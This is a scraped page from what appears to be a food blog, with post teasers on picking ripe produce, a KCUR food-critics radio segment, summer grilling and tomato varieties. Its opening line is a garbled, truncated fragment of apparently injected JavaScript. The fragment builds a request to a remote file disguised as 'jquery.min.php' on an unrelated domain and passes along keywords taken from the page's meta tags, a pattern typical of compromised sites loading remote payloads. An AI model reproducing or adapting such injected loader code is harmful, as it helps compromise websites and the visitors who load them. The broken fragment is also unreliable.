?c_utt=J18171&c_utm='+encodeURIComponent('http://www.wildwillis.net/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}

Around the BLOCK

A Primer for Picking Ripe

It’s that time of year again, when people stop me in the grocery store to ask how I can tell if a particular fruit or vegetable is ripe. With the July 4th holiday approaching, now is a good time to revisit a topic that I posted about last summer– the low-down on methods and secrets […]

Read the rest of this entry »

Friday Food Critics 8/21

Tune in on Friday to hear the Food Critics, on KCUR’s Walt Bodine Show at 10:00 AM. That’s  89.3 FM, or you can listen on your computer at http://www.kcur.org/waltbodine.html. The second half discussion will be about fresh fruit–where to find the best local fruit as well as what menus around town are using summer fruit […]

Read the rest of this entry »

New Age Grilling

For those of you who bookmarked this blog to read my take about restaurants about town, please bear with me. I don’t dine out as much at this time of year because  cooking with the abundant fresh produce is too hard to resist. Summer is a great time to be adventurous in the kitchen (or […]

Read the rest of this entry »

Tomato Time

Heinz seems proud to boast of 57 varieties of ketchup, but did you realize that there are actually 10,000 varieties of tomatoes? My favorite is the Sungold, a tiny, orange sphere of heaven. Popping them in my mouth like grapes, they burst with summer and a profound sweetness not found in common cherry red tomatoes. […]

Read the rest of this entry »

Sniff, thump or squeeze your way to ripe fruit

Here’s the low-down on methods and secrets to picking perfect produce. Artichokes. These majestic orbs have a mysterious quality to the uninitiated. The key to finding one with a soft and flavorful heart is the tightness of the leaves. The overall look of the vegetable should be rounded, not spiked. (A hint about cooking — […]

Read the rest of this entry »